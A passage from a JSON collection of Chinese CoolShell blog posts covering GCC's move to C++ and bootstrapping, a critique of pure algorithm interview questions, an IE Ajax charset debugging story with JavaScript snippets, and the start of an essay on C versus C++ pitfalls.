算法](../wp-content/uploads/2012/06/K-Means-150x150.gif)](https://coolshell.cn/articles/7779.html)[K-Means 算法](https://coolshell.cn/articles/7779.html)\n* [![Cuckoo Filter：设计与实现](../wp-content/uploads/2015/08/cuckoo-150x150.jpg)](https://coolshell.cn/articles/17225.html)[Cuckoo Filter：设计与实现](https://coolshell.cn/articles/17225.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![【活动】解迷题送礼物](../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg)](https://coolshell.cn/articles/11832.html)[【活动】解迷题送礼物](https://coolshell.cn/articles/11832.html)\n* [![二维码的生成细节和原理](../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg)](https://coolshell.cn/articles/10590.html)[二维码的生成细节和原理](https://coolshell.cn/articles/10590.html)\nThe post [K Nearest Neighbor 算法](https://coolshell.cn/articles/8052.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-8-20 GCC 用 C++ 来编译.md",
    "content": "---\nlayout: post\ntitle: GCC 用 C++ 来编译\ndate: 2012/8/20/ 0:40:4\nupdated: 2012/8/20/ 0:40:4\nstatus: publish\npublished: true\ntype: post\n---\n\nGCC在2012年8月15日的时候，merge了一个patch – [Merge from cxx-conversion branch](http://gcc.gnu.org/git/?p=gcc.git;a=commitdiff;h=2b15d2ba7eb3a25dfb15a7300f4ee7a141ee8539)，这意味着，以后在GCC的编译只能用C++的编译器了，也意味着，gcc的实现代码开始转向C++了。\n\n\n你可能会有两个问题，\n\n\n* 一个问题是为什么GCC要转成C++的实现？\n\n\n* 没有C++的编译器，我怎么编译C++编译器的代码？这不是“鸡生蛋还是蛋生鸡”的问题么？\n\n\n那，我们来看一看吧。\n\n\n#### 为什么要用C++\n\n\n在[GNU的C++ Conversion文档](http://gcc.gnu.org/wiki/cxx-conversion)中，我们可以在Background中看到这样的描述：\n\n\n\n> Whether we use C or C++, we need to try to ensure that interfaces are easy to understand, that the code is reasonably modular, that the internal documentation corresponds to the code, that it is possible for new developers to write new passes and to fix bugs. Those are the important issues for us to consider. The C++ features which are not present in C — features which are well documented in many books and many web sites — are not an important issue.\n> \n> \n\n\n这句话的意思可以理解为，今天GCC在用C语言的实现已经有点hold不住了，因为，开发人员觉得，不管我们用C或C++，都需要努力确保接口是容易理解的，这样我们的代码是想当理性地被模块化的，这样内部文档和代码一致，这样可以更好地组织代码，这样有利于新人了fix-bug。而C++正好可以让他们更好的完成这些东西。\n\n\nGNU还给出了下面这些理由：\n\n\n\n* C++ 是一种标准化的，大众的，流行的语言。\n* C++ 是C90的超集。\n* C++作为C的扩展和C在性能上一样好。\n* C++ 在一些有意义的案例上支持更干净的代码。\n* C++ 让你更容易去写一个更干净的接口。\n* C++ 永远不会让你的代码变得更丑。\n* C++ 不是万灵药，他是C的一个改进。\n\n\n然后，给了一个PDF <http://airs.com/ian/cxx-slides.pdf>，这是Google 的[Ian Lance Taylor](http://airs.com/ian/)的的一个PPT，这个文档可以让大家更好地理解我在《[C++的坑多吗？](https://coolshell.cn/articles/7992.html \"C++的坑真的多吗？\")》一文中那些观点。**我都不知道我要说多少遍C++的封装，继承和多态比C语言在代码组织上要好得多得多**。大家还是自己看一下代码吧：\n\n\n**数据结构的操作 ——** 你写的一定不会有STL好\n\n\n**[![](../wp-content/uploads/2012/08/VEC-vs-vector.jpg \"VEC vs vector\")](https://coolshell.cn/wp-content/uploads/2012/08/VEC-vs-vector.jpg)**\n\n\n**结构套结构还是继承？**\n\n\n[![](../wp-content/uploads/2012/08/tree-structure.jpg \"tree-structure\")](https://coolshell.cn/wp-content/uploads/2012/08/tree-structure.jpg)\n\n\n**函数指针还是多态？**\n\n\n[![](../wp-content/uploads/2012/08/TARGET-vs-Target.jpg \"TARGET vs Target\")](https://coolshell.cn/wp-content/uploads/2012/08/TARGET-vs-Target.jpg)\n**垃圾回收 还是 智能指针？**\n\n\n[![](../wp-content/uploads/2012/08/GC-vs-Smart-Pointer.jpg \"GC vs Smart Pointer\")](https://coolshell.cn/wp-content/uploads/2012/08/GC-vs-Smart-Pointer.jpg)\n**Why not C++?**\n\n\n* **C++慢吗**？某些特性会慢，但是有时C++更快，你可以只用你喜欢的C++特性。\n* **C++复杂吗？**它只不过是另一种编程语言，他可以让你对程序员维护更简单。\n* **FSF不喜欢C++！**因为FSF（自由软件基金会）这些人不写代码。\n\n\n[![](../wp-content/uploads/2012/08/Why-not-C++.jpg \"Why not C++\")](https://coolshell.cn/wp-content/uploads/2012/08/Why-not-C++.jpg)\n\n\n\n#### Bootstrapping\n\n\n最后，我想来介绍一下[Bootstrapping](http://en.wikipedia.org/wiki/Bootstrapping_%28compilers%29)。 所谓Bootstrapping，就是用自己这个语言写编译器来编译自己，也就是说如果你要编译gcc，你需要用一个c的编译器来编译之，这个就是bootstrapped process，自举过程。包括 [BASIC](http://en.wikipedia.org/wiki/BASIC \"BASIC\"), [Algol](http://en.wikipedia.org/wiki/Algol \"Algol\"), [C](http://en.wikipedia.org/wiki/C_(programming_language) \"C (programming language)\"), [C++](http://en.wikipedia.org/wiki/C%2B%2B \"C++\"), [Pascal](http://en.wikipedia.org/wiki/Pascal_programming_language \"Pascal programming language\"), [PL/I](http://en.wikipedia.org/wiki/PL/I \"PL/I\"), [Factor](http://en.wikipedia.org/wiki/Factor_programming_language \"Factor programming language\"), [Haskell](http://en.wikipedia.org/wiki/Haskell_(programming_language) \"Haskell (programming language)\"), [Modula-2](http://en.wikipedia.org/wiki/Modula-2 \"Modula-2\"), [Oberon](http://en.wikipedia.org/wiki/Oberon_programming_language \"Oberon programming language\"), [OCaml](http://en.wikipedia.org/wiki/OCaml \"OCaml\"),[Common Lisp](http://en.wikipedia.org/wiki/Common_Lisp \"Common Lisp\"), [Scheme](http://en.wikipedia.org/wiki/Scheme_(programming_language) \"Scheme (programming language)\"), [Java](http://en.wikipedia.org/wiki/Java_(programming_language) \"Java (programming language)\"), [Python](http://en.wikipedia.org/wiki/Python_(programming_language) \"Python (programming language)\"), [Scala](http://en.wikipedia.org/wiki/Scala_(programming_language) \"Scala (programming language)\") 等语言都这么干。\n\n\n这样干的好处主要是，自己可以测试自己，编译器的改善和语言的改善相辅相成。\n\n\n但是，这是一个“鸡生蛋，还是蛋生鸡”的问题，如果你需要用X语言来写一个X语言编译器的语言，你可以这样干：\n\n\n* 用Y语言来实现X的语言解释器或编译器。 [Niklaus Wirth](http://en.wikipedia.org/wiki/Niklaus_Wirth \"Niklaus Wirth\") 说 [Pascal](http://en.wikipedia.org/wiki/Pascal_programming_language \"Pascal programming language\") 的第一个编译器是由 [Fortran](http://en.wikipedia.org/wiki/Fortran \"Fortran\") 写的。\n* 已存在用Y语言写的X语言的编译器或解释器。[Scheme](http://en.wikipedia.org/wiki/Scheme_(programming_language) \"Scheme (programming language)\") 就是这么干的。\n* 已经有一个编译器来编译一个早期版本的X语言，然后就可以用早期版本的X语言来编译新版本的X语言了。[Java](http://en.wikipedia.org/wiki/Java_(programming_language) \"Java (programming language)\")，[Haskell](http://en.wikipedia.org/wiki/Haskell_(programming_language) \"Haskell (programming language)\"), 和最初版的 [Free Pascal](http://en.wikipedia.org/wiki/Free_Pascal \"Free Pascal\") 就是这么干的。\n* X在某平台上的编译器已经存在，可以使用交叉编译技术来编译另一个平台上X语言，C语言就是这么干的。\n* 用X语言写一个编译器，然后手动编译之（不需要特别优化），（注：手动编译估计就是手动翻译成机器汇编代码），然后再运行这个手动编译的编译器来编译这个编译器的源码，并优化之。[Donald Knuth](http://en.wikipedia.org/wiki/Donald_Knuth \"Donald Knuth\") 在他的 [WEB](http://en.wikipedia.org/wiki/WEB \"WEB\") [literate programming](http://en.wikipedia.org/wiki/Literate_programming \"Literate programming\") 系统里用到了这个方法。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\nThe post [GCC 用 C++ 来编译](https://coolshell.cn/articles/8115.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-8-22 为什么我反对纯算法面试题.md",
    "content": "---\nlayout: post\ntitle: 为什么我反对纯算法面试题\ndate: 2012/8/22/ 0:20:18\nupdated: 2012/8/22/ 0:20:18\nstatus: publish\npublished: true\ntype: post\n---\n\n算法面试可能是微软搞出来的面试方法，现在很多公司都在效仿，而且我们的程序员也乐于解算法题，我个人以为，这是应试教育的毒瘤！我在《[再谈“我是怎么招程序员”](https://coolshell.cn/articles/4506.html \"再谈“我是怎么招聘程序员的”（上）\")》中比较保守地说过，“**问难的算法题并没有错，错的很多面试官只是在肤浅甚至错误地理解着面试算法题的目的**。”，今天，我想加强一下这个观点——**我反对纯算法题面试**！（注意，我说的是纯算法题）\n\n\n[![](../wp-content/uploads/2012/08/250px-Sheldon_Cooper.jpg \"Sheldon_Cooper\")](http://en.wikipedia.org/wiki/Sheldon_Cooper)图片源Wikipedia（点击图片查看词条）\n我再次引用我以前的一个观点——\n\n\n能解算法题并不意味着这个人就有能力就能在工作中解决问题，你可以想想，小学奥数题可能比这些题更难，但并不意味着那些奥数能手就能解决实际问题。\n\n\n好了，让我们来看一个示例（这个示例是昨天在[微博上的一个讨论](http://weibo.com/1401880315/yy9pvgNi2)），这个题是——“**找出无序数组中第2大的数**”，几乎所有的人都用了O(n)的算法，我相信对于我们这些应试教育出来的人来说，不用排序用O(n)算法是很正常的事，连我都不由自主地认为O(n)算法是这个题的标准答案。**我们太习惯于标准答案了，这是我国教育最悲哀的地方**。（广义的洗脑就是让你的意识依赖于某个标准答案，然后通过给你标准答案让你不会思考而控制你）\n\n\n#### 功能性需求分析\n\n\n试想，如果我们在实际工作中得到这样一个题 我们会怎么做？我一定会分析这个需求，因为我害怕需求未来会改变，今天你叫我找一个第2大的数，明天你找我找一个第4大的数，后天叫我找一个第100大的数，我不搞死了。需求变化是很正常的事。分析完这个需求后，我会很自然地去写找第K大数的算法——难度一下子就增大了。\n\n\n\n很多人会以为找第K大的需求是一种“过早扩展”的思路，不是这样的，我相信我们在实际编码中写过太多这样的程序了，你一定不会设计出这样的函数接口—— Find2ndMaxNum(int\\* array, int len)，就好像你不会设计出 DestroyBaghdad(); 这样的接口，而是设计一个DestoryCity( City& ); 的接口，而把Baghdad当成参数传进去！所以，你应该是声明一个叫FindKthMaxNum(int\\* array, int len, int kth)，把2当成参数传进去。**这是最基本的编程方法，用数学的话来说，叫代数**！最简单的需求分析方法就是把需求翻译成函数名，然后看看是这个接口不是很二？！\n\n\n（注：不要纠结于FindMaxNum()或FindMinNum()，因为这两个函数名的业务意义很清楚了，不像Find2ndMaxNum()那么二）\n\n\n#### 非功能性需求分析\n\n\n性能之类的东西从来都是非功能性需求，对于算法题，我们太喜欢研究算法题的空间和时间复杂度了。我们希望做到空间和时间双丰收，这是算法学术界的风格。所以，**习惯于标准答案的我们已经失去思考的能力，只会机械地思考算法之内的性能，而忽略了算法之外的性能**。\n\n\n如果题目是——“从无序数组中找到第K个最大的数”，那么，我们一定会去思考用O(n)的线性算法找出第K个数。事实上，也有线性算法——STL中可以用nth\\_element求得类似的第n大的数，其利用快速排序的思想，从数组S中随机找出一个元素X，把数组分为两部分Sa和Sb。Sa中的元素大于等于X，Sb中元素小于X。这时有两种情况：1）Sa中元素的个数小于k，则Sb中的第k-|Sa|个元素即为第k大数；2） Sa中元素的个数大于等于k，则返回Sa中的第k大数。时间复杂度近似为O(n)。\n\n\n搞学术的nuts们到了这一步一定会欢呼胜利！但是他们哪里能想得到性能的需求分析也是来源自业务的！\n\n\n**我们一说性能，基本上是个人都会问，请求量有多大？如果我们的FindKthMaxNum()的请求量是m次，那么你的这个每次都要O(n)复杂度的算法得到的效果就是O(n\\*m)，这一点，是书呆子式的学院派人永远想不到的。**因为应试教育让我们不会从实际思考了。\n\n\n#### 工程式的解法\n\n\n根据上面的需求分析，有软件工程经验的人的解法通常会这样：\n\n\n1）把数组排序，从大到小。\n\n\n2）于是你要第k大的数，就直接访问 array[k]。\n\n\n排序只需要一次，O(n\\*log(n))，然后，接下来的m次对FindKthMaxNum()的调用全是O(1)的，整体复杂度反而成了线性的。\n\n\n其实，上述的还不是工程式的最好的解法，因为，在业务中，那数组中的数据可能会是会变化的，所以，如果是用数组排序的话，有数据的改动会让我重新排序，这个太耗性能了，如果实际情况中会有很多的插入或删除操作，那么可以考虑使用B+树。\n\n\n工程式的解法有以下特点：\n\n\n1）很方便扩展，因为数据排好序了，你还可以方便地支持各种需求，如从第k1大到k2大的数据（那些学院派写出来的代码在拿到这个需求时又开始挠头苦想了）\n\n\n2）规整的数据会简化整体的算法复杂度，从而整体性能会更好。（公欲善其事，必先利其器）\n\n\n3）代码变得清晰，易懂，易维护！（学院派的和STL一样的近似O(n)复杂度的算法没人敢动）\n\n\n#### 争论\n\n\n你可能会和我有以下争论，\n\n\n* **如果程序员做这个算法题用排序的方式，他一定不会像你想那么多**。是的，你说得对。但是我想说，很多时候，我们直觉地思考，恰恰是正确的路。因为“排序”这个思路符合人类大脑处理问题的方式，而使用学院派的方式是反大脑直觉的。反大脑直觉的，通常意味着晦涩难懂，维护成本上升。\n\n\n* **就是一道面试题，我就是想测试一下你的算法技能，这也扯太多了**。没问题，不过，我们要清楚我们是在招什么人？是一个只会写算法的人，还是一个会做软件的人？这个只有你自己最清楚。\n\n\n* **这个算法题太容易诱导到学院派的思路了**。是的这道“找出第K大的数”，其实可以变换为更为业务一点的题目——“**我要和别的商户竞价，我想排在所有竞争对手报价的第K名，请写一个程序，我输入K，和一个商品名，系统告诉我应该订多少价？**（商家的所有商品的报价在一数组中）”——业务分析，整体性能，算法，数据结构，增加需求让应聘者重构，这一个问题就全考了。\n\n\n* **你是不是在说算法不重要，不用学？**千万别这样理解我，搞得好像如果面试不面，我就可以不学。**算法很重要，算法题能锻炼我们的思维，而且也有很多实际用处**。我这篇文章不是让大家不要去学算法，这是完全错误的，我是让大家带着业务问题去使用算法。问你业务问题，一样会问到算法题上来。\n\n\n#### 小结\n\n\n看过这上面的分析，我相信你明白我为什么反对纯算法面试题了。原因就是**纯算法的面试题根本不能反应一个程序的综合素质**！\n\n\n那么，在面试中，我们应该要考量程序员的那些综合素质呢？我以为有下面这些东西：\n\n\n1. 会不会做需求分析？怎么理解问题的？\n2. 解决问题的思路是什么？想法如何？\n3. 会不会对基础的算法和数据结构灵活运用？\n\n\n另外，我们知道，对于软件开发来说，在工程上，难是的下面是这些挑战：\n\n\n* 软件的维护成本远远大于软件的开发成本。\n* 软件的质量变得越来越重要，所以，测试工作也变得越来越重要。\n* 软件的需求总是在变的，软件的需求总是一点一点往上加的。\n* 程序中大量的代码都是在处理一些错误的或是不正常的流程。\n\n\n所以，对于编程能力上，我们应该主要考量程序员的如下能力：\n\n\n1. 设计是否满足对需求的理解，并可以应对可能出现的需求变化。\n2. 程序是否易读，易维护？\n3. 重构代码的能力如何？\n4. 会不会测试自己写好的程序？\n\n\n所以，这段时间，我越来越倾向于问应聘者一些有业务意义的题，而且应增加或更改需求来看程序员的重构代码的能力，写完程序后，让应聘者设计测试案例。\n\n\n比如：解析加减乘除表达式，字符串转数字，洗牌程序，口令生成器，通过ip地址找地点，英汉词典双向检索……\n\n\n**总之，我反对纯算法面试题！**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![程序算法与人生选择](../wp-content/uploads/2012/12/choice-150x150.jpg)](https://coolshell.cn/articles/8790.html)[程序算法与人生选择](https://coolshell.cn/articles/8790.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/4976.html)[给程序员新手的一些建议](https://coolshell.cn/articles/4976.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4506.html)[再谈“我是怎么招聘程序员的”（上）](https://coolshell.cn/articles/4506.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/4490.html)[再谈“我是怎么招聘程序员的”（下）](https://coolshell.cn/articles/4490.html)\n* [![140个Google的面试题](../wp-content/uploads/2010/12/googlequestion-150x150.jpg)](https://coolshell.cn/articles/3345.html)[140个Google的面试题](https://coolshell.cn/articles/3345.html)\nThe post [为什么我反对纯算法面试题](https://coolshell.cn/articles/8138.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-8-27 一次Ajax查错的经历.md",
    "content": "---\nlayout: post\ntitle: 一次Ajax查错的经历\ndate: 2012/8/27/ 6:56:59\nupdated: 2012/8/27/ 6:56:59\nstatus: publish\npublished: true\ntype: post\n---\n\n先说故事，再说想法吧。\n\n\n我有一朋友做网站，用jQuery的Ajax方法从后端载入一段HTML代码然后动态插入到网页的Div元件中。这个东西太普遍了。jQuery强大的load方法可以完成这个事情。朋友的代码是这么写的：\n\n\n[javascript]var tab = jQuery(\"#dynamic\\_tab\");  \n\nvar url = \"/list\\_ajax/\";  \n\ntab.load(url);[/javascript]\n\n\n简单到不能再简单了。在Chrome，Firefox，Safari下运行一点问题也没有，只有IE不行，不管是IE7，IE8，还是IE9。问题的症壮是，使用IE访问那个Ajax的链接，没有问题，但是在jQuery的Ajax方法返回了“undefined”的respons对象。没有任何报错！\n\n\n怎么搞也搞不定，只好Google了一下——“[jQuery load IE](https://www.google.com/#hl=zh-CN&newwindow=1&site=&source=hp&q=jQuery+load+IE&btnK=Google+%E6%90%9C%E7%B4%A2&oq=jQuery+load+IE)”，一看，很多人都在问这个问题。于是开始了[散弹枪编程方式](https://coolshell.cn/articles/2058.html \"各种流行的编程风格\")。\n\n\n排在第一的就是StackOverflow被浏览了33K次的这个问题：[jQuery’s .load() not working in IE – but fine in Firefox, Chrome and Safari](http://stackoverflow.com/questions/1061525/jquerys-load-not-working-in-ie-but-fine-in-firefox-chrome-and-safari)，答案没有被打勾（不靠谱），StackOverflow还有很多人问相似的问题，不过都没有答案。不管三七二十一，先试了一下，散弹枪嘛。试了半天都没有用。\n\n\n然后上Google查，又看到有人说的IE缓存的问题，什么，要把cache设置成false，或是用下面的方法来解决：\n\n\n[javascript]var tab = jQuery(\"#dynamic\\_tab\");  \n\nvar fuckie = Math.random();  \n\nvar url = \"/list\\_ajax/\"+\"?fuckie=\"+fuckie;  \n\ntab.load(url);[/javascript]\n\n\n反正还是一样，统统不Work，几乎所有的都试了，都不Work。搞了一天的朋友恼怒道：“Microsoft应该快点倒闭吧，产品太烂了”。IE的确是太烂了。\n\n\n\n于是我用IE9的网页调试器可以看到点了Ajax的链接后，**IE对网站有http的Ajax请求，也可以看到请求返回了，但是就是不显示在我的页面上——jQuery的Ajax的responseText为undefined!**\n\n\n对于我这个老家伙，对jQuery也不熟，我只得开始调试jQuery的代码，想看看里面干了什么，报了什么错？调了一个小时，基本上把jQuery的Ajax的封装看懂了七七八八了，但是还是没找到为什么有问题。\n\n\n于是，我只得架起原生态的Ajax，看看IE的那个Ajax的ActiveX的对象干了什么事？写了下面的代码（当年写Ajax就是这么写的，所以也不费劲，况且网上还有例程可以抄）：\n\n\n[javascript]  \n\nfunction InitAjax()  \n\n{  \n\n var ajax=false;  \n\n try {  \n\n ajax = new ActiveXObject(\"Msxml2.XMLHTTP\");  \n\n } catch (e) {  \n\n try {  \n\n ajax = new ActiveXObject(\"Microsoft.XMLHTTP\");  \n\n } catch (E) {  \n\n ajax = false;  \n\n }  \n\n }  \n\n if (!ajax && typeof XMLHttpRequest!=’undefined’) {  \n\n ajax = new XMLHttpRequest();  \n\n }  \n\n return ajax;  \n\n}\n\n\nvar ajax = InitAjax();  \n\najax.open(\"GET\", url, true);  \n\najax.onreadystatechange = function() {  \n\n if (ajax.readyState == 4 && ajax.status == 200) {  \n\n var show = document.getElementById(\"HaoChenDIV\").value;  \n\n show.innerHTML = ajax.responseText;  \n\n }  \n\n}  \n\najax.send(null);  \n\n[/javascript]\n\n\n一运行，还是不行，没见IE报什么错，不过，可以确定这不是jQuery的问题了，估计还是我们自己程序的问题。不过此时的程序太好调试了，调试中，在IE9下调式发现原生的IE的Ajax对象在onreadystatechange函数里，其responseText是下面这个样子：\n\n\n![](../wp-content/uploads/2012/08/ajax_error.jpg \"ajax error in ie\")\n\n\n什么是“**系统错误: -1072896658**”？上[google一查](https://www.google.com/#hl=zh-CN&newwindow=1&q=ajax+%22%E7%B3%BB%E7%BB%9F%E9%94%99%E8%AF%AF:+-1072896658%22&oq=ajax+%22%E7%B3%BB%E7%BB%9F%E9%94%99%E8%AF%AF:+-1072896658%22)，一堆页面，基本上是说乱码了，也就是ajax的后端程序返回的网页编码不认识吧。需要在返回的http header里加上 charset=utf-8。\n\n\n于是，修改后端的Ajax的程序，明确指定了返回的HTTP Header中的charset，于是IE下就工作正常了，再切回jQuery的load代码，一切正常了（后端的程序本来是utf-8的编码格式，但是不骨明确在HTTP Header中指定，但是只有IE不会自动检测）。\n\n\n这个问题的原因就是因为我们没有按照规范去写网页。所以，举一反三，HTML的规范还有哪些，太多了，记也记不住。但也许你会知道**有一个叫 <http://validator.w3.org> 的网站可以帮你校验你网页中的很多不规范的东西**。这个工具会报很多很多错，很多都有点吹毛求疵，不过，可以让你看看（注：今天的coolshell装了很多插件，也被我调过一些东西，所以出错很多，我还记得以前没有插件没有我定制化的样式的时候，Wordpress一个错都不报）。\n\n\n#### 后记\n\n\n我把这个问题和过程分享出来，主要有这么几个目的，并抛出几个问题，大家可以思考一下：\n\n\n1）这个问题网上有很多人都在报，但是基本上找不到答案（包括StackOverflow），所以，我分享出来，填补一下空白。\n\n\n2）我相信我们的程序员天天都在经历这样的事，我不知道大家在遇到这样的事情会怎么做？也许大多数人都在网上查各种解决方案，然后一个一个的试，直到试对了——散弹枪式的编程，呵呵。当然，大多数答案都是可能找到的。但**当我们找到答案了后，我们还会深入去了解这个问题的具体原因并举一反三地去思考一其周边的东西吗**？\n\n\n3）另外，在今天这样N多框架，N多lib，N多开源的年代下，**不知道大家有没有失去了从零开始自己写代码的能力？**比如上面的这个问题，不知道有多少人还会自己写原生态的Ajax？不过，我还是建议大家能在使用各种框架的时候，明白那些最基础的知识，求甚解，知其然知其所以然，真的很重要。\n\n\n我是从那个“吃糠的年代”过来的程序员，那时的程序员什么都要自己干，很辛苦，今天我和很多人说我以前的那些经历，会被笑话，但是我从这些什么都自己的干的年代过的经历，让我受益很多。我把我的想法分享给大家，希望对大家有用。\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![做个环保主义的程序员](../wp-content/uploads/2012/04/Green-Computing-150x150.jpg)](https://coolshell.cn/articles/7186.html)[做个环保主义的程序员](https://coolshell.cn/articles/7186.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\nThe post [一次Ajax查错的经历](https://coolshell.cn/articles/8170.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-8-6 C++的坑真的多吗？.md",
    "content": "---\nlayout: post\ntitle: C++的坑真的多吗？\ndate: 2012/8/6/ 0:12:5\nupdated: 2012/8/6/ 0:12:5\nstatus: publish\npublished: true\ntype: post\n---\n\n先说明一下，我不希望本文变成语言争论贴。希望下面的文章能让我们客观理性地了解C++这个语言。（另，我觉得技术争论不要停留在非黑即白的二元价值观上，这样争论无非就是比谁的嗓门大，比哪一方的观点强，毫无价值。我们应该多看看技术是怎么演进的，怎么取舍的。）\n\n\n#### 事由\n\n\n![](../wp-content/uploads/2012/08/cpp_small.jpg \"C Plus Plus\")周五的时候，我在我的微博上发了一个贴说了一下一个网友给我发来的C++程序的规范和内存管理写的不是很好（后来我删除了，因为当事人要求），我并非批判，只是想说明其实程序员是需要一些“疫苗”的，并以此想开一个“程序员疫苗的网站”，结果，@简悦云风同学[直接回复到](http://weibo.com/2388714105/yvqWKkcGV)：“**不要用 C++ 直接用 C , 就没那么多坑了。**”就把这个事带入了语言之争。\n\n\n我又[发了一条微博](http://weibo.com/1401880315/yvrMMsCuT)：\n\n\n[@左耳朵耗子](http://weibo.com/1401880315/profile \"左耳朵耗子\") [http://img.t.sinajs.cn/t4/style/images/common/transparent.gif \"新浪个人认证 \"](http://verified.weibo.com/verify)： 说C++比C的坑更多的人我可以理解，但理性地思考一下。C语言的坑也不少啊，如果说C语言有90个坑，那么C++就是100个坑（另，**我看很多人都把C语言上的坑也归到了C++上来**），但是C++你得到的东西更多，封装，多态，继承扩展，泛型编程，智能指针，……，你得到了500%东西，但却只多了10%的坑，多值啊。\n\n\n结果引来了更多的回复（只节选了一些言论）：\n\n\n* @淘宝褚霸[也在微博里说](http://weibo.com/1915508822/yvshunX41)：“自从5年前果断扔掉C++，改用了ansi c后，我的生活质量大大提升，没有各种坑坑我。”\n\n\n* @Laruence[在其微博里](http://weibo.com/1170999921/yvsgisAgB)说: “我确实用不到, C语言灵活运用struct, 可以很好的满足这些需求.//@左耳朵耗子: 封装，继承，多态，模板，智能指针，这也用不到？这也学院派？//@Laruence: 问题是, 这些东西我都用不到… C语言是工程师搞的, C++是学院派搞的”\n\n\n**那么，C++的坑真的多么？我还请大家理性地思考一下**。\n\n\n\n\n#### C++真的比C差吗？\n\n\n我们先来看一个图——《[各种程序员的嘴脏的对比](https://coolshell.cn/articles/1850.html)》，从这个图上看，C程序员比C++的程序员在注释中使用fuck的字眼多一倍。这说明了什么？**我个人觉得这说明C程序员没有C++程序员淡定**。\n\n\n\n![Google Code 中程序语言出现 fuck 一词的比率](../wp-content/uploads/2009/11/programming_language.jpg \"Google Code 中程序语言出现 fuck 一词的比率\")\n\n\n不要太纠结上图，只是轻松一下，我没那么无聊，让我们来看点真正的论据。\n\n\n相信用过C++的程序员知道，C++的很多特性主要就是解决C语言中的各种不完美和缺陷：（注：**C89、C99中许多的改进正是从C++中所引进的**）\n\n\n* 用namespace解决了很C函数重名的问题。\n\n\n* 用const/inline/template代替了宏，解决了C语言中宏的各种坑。\n\n\n* 用const的类型解决了很多C语言中变量值莫名改变的问题。\n\n\n* 用引用代替指针，解决了C语言中指针的各种坑。这个在Java里得到彻底地体现。\n\n\n* 用强类型检查和四种转型，解决了C语言中乱转型的各种坑。\n\n\n* 用封装（构造，析构，拷贝构造，赋值重载）解决了C语言中各种复制一个结构体（struct）或是一个数据结构（link, hashtable, list, array等）中浅拷贝的内存问题的各种坑。\n\n\n* 用封装让你可以在成员变量加入getter/setter，而不会像C一样只有文件级的封装。\n\n\n* 用函数重载、函数默认参数，解决了C中扩展一个函数搞出来像func2()之类的ugly的东西。\n\n\n* 